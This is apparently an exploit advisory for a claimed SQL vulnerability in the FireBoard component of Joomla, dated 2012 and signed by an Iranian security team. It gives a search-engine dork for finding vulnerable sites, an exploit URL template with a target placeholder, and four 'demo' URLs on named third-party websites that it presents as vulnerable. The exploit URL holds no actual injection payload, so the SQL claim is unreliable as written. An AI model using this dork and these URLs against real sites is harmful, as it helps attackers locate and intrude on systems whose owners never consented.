########################################################################################

Exploit Title : Joomla Board All Version Sql Vulnerability

Author : Iranian Security & Research Team

Discovered By : Nafsh

Home : sec-lab.ir

Contact : research [at] sec-lab [dot] ir

Date : 22/1/2012 - 13:30

Software Link : www.joomla.org

Security Risk : High

DorK : inurl:"id=" & intext:"/com_fireboard/"

########################################################################################

Expl0iTs:

http://[TARGET]/index.php?option=com_fireboard&Itemid=0&id=1&catid=0&func=fb_pdf

########################################################################################

Dem0 :

aerialproducts.com/index.php?option=com_fireboard&Itemid=0&id=1&catid=5&func=fb_pdf

mocha.cl/2009/index.php?option=com_fireboard&Itemid=79&id=1&catid=2&func=fb_pdf

vagturbo.cl/index.php?option=com_fireboard&Itemid=38&id=22111&catid=16&func=fb_pdf

clubpeugeot.cl/index.php?option=com_fireboard&Itemid=54&id=70122&catid=12&func=fb_pdf#

########################################################################################

We are : K0242 | Nafsh | Ehram.shahmohamadi

Greetz : All sec-lab researchers

########################################################################################